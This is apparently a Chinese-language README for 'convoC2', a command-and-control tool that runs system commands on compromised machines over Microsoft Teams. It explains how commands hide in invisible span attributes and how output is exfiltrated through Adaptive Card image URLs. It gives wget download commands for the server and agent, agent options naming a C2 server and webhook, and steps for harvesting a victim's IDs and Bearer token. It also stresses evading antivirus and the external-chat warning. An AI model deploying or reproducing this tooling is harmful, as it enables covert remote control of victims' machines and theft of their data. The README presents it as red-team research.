这是一种命令与控制(C2)基础设施,允许红队成员通过 Microsoft Teams 在受感染主机上执行系统命令。
它将数据隐藏注入 Microsoft Teams 消息中的隐藏 span 标签,并通过 Adaptive Cards 图片 URL 外带命令输出,从而触发对 C2 服务器的带外请求。
受害主机与攻击者之间没有直接通信,再加上受害主机仅向 Microsoft 服务器发送 HTTP 请求,且杀毒软件不会检查 MS Teams 日志文件,这使得检测更加困难。

以下视频演示了如何使用该服务器控制两台受感染主机:一台在 Windows 11 上运行新版 Teams,另一台在 Windows 10 上运行旧版 Teams。在第一种情况下,攻击者与受害主机不在同一组织内。
https://github.com/user-attachments/assets/d9fcccc1-de73-49cd-aaa7-df53303dbc6a
注意: 在第一种情况下,受害主机已经接受了与外部攻击者的聊天,但在攻击者首次与受害主机发起聊天的真实场景中,受害主机需要确认与攻击者的聊天(尽管这条警报消息可以轻易绕过,参见此处)。这不是问题:因为消息无论如何都会被缓存到日志文件中,即使受害主机尚未查看或接受聊天,命令也会被接收并执行。
服务器
wget https://github.com/cxnturi0n/convoC2/releases/download/v0.1.0-alpha/convoC2_server_amd64.tar.gz
tar -xzvf convoC2_server_amd64.tar.gz --one-top-level
root@convoC2-server-VPS:~# ./convoC2_server_amd64 -h
Usage of convoC2 server:
-t, --msgTimeout How much to wait for command output (default 30 s)
-b, --bindIp Bind IP address (default 0.0.0.0)
Agent
wget https://github.com/cxnturi0n/convoC2/releases/download/v0.1.0-alpha/convoC2_agent.tar.gz
tar -xzvf convoC2_agent.tar.gz --one-top-level
C:\Windows>convoC2_agent.exe -h
Usage of convoC2 agent:
-v, --verbose Verbose logging (default false)
-s, --server C2 server URL (i.e. http://10.11.12.13/)
-t, --timeout Teams log file polling timeout [s] (default 1)
-w, --webhook Teams Webhook POST URL
-r, --regex Regex to match command (default "<span[^>]*aria-label=\"([^\"]*)\"[^>]*></span>")
要使其正常工作,你需要设置几项内容:

https://teams.microsoft.com/api/chatsvc/emea/v1/threads 发送 POST 请求来初始化聊天,请求体中包含受害者和攻击者的唯一 id。在响应中,threadId 将返回在 Location 头 url 的路径中。
同一请求的 Bearer 令牌用于认证到 https://teams.microsoft.com/api/chatsvc/emea/v1/users/ME/conversations/<threadId>/messages,这是发送消息的端点。因此我们只需获取这三项内容,服务器将处理其余部分。启动服务器后,你可以使用先前获取的数据进行认证,接收新的代理并控制它们。查看演示以了解使用示例。
首先,你需要创建一个 Teams 频道。

右键点击三个点,然后点击“工作流”。

在搜索栏中输入“Webhook”,然后点击“当收到 webhook 请求时发布到频道”。

继续使用默认设置,最后复制 url。

首先寻找受害者。

选择受害者账户后,在 Web 代理拦截请求的情况下,你可以发送一条测试消息。

保存 api/chatsvc/emea/v1/threads 请求中存在的两个 id,然后 DROP 该请求。认证令牌将是同一请求的 Bearer 令牌。

此基础设施的灵感来自 Bobbyrsec 所做的 Teams GIFShell 研究。
最初我的目的是复现该问题,但该解决方案似乎已被部分修复。该研究涉及将命令注入到 Base64 编码的 GIF 中,但这些 GIF 已无法正确显示:聊天中会出现一个损坏图像的图标,导致受害者可能开始产生怀疑。
在测试了各种方法后,我注意到可以将命令直接嵌入消息中,而不是嵌入 GIF 或图像中:发送多张图像比发送简单消息更容易引起怀疑,对吧?
最初我考虑将命令嵌入到 <script>、<meta> 或自定义标签中,但都被过滤掉了。最终,将命令嵌入到带有 display:none 的 <span> 标签的 aria-label 属性中成功了:受害者只会看到消息,但隐藏的命令实际上会污染 Teams 日志文件。

服务器 TUI 使用出色的 Go BubbleTea 框架开发。
如果你发现 bug 或想改进项目,欢迎提交 pull request,我很乐意审查并最终合并你的更改。 短期待办事项: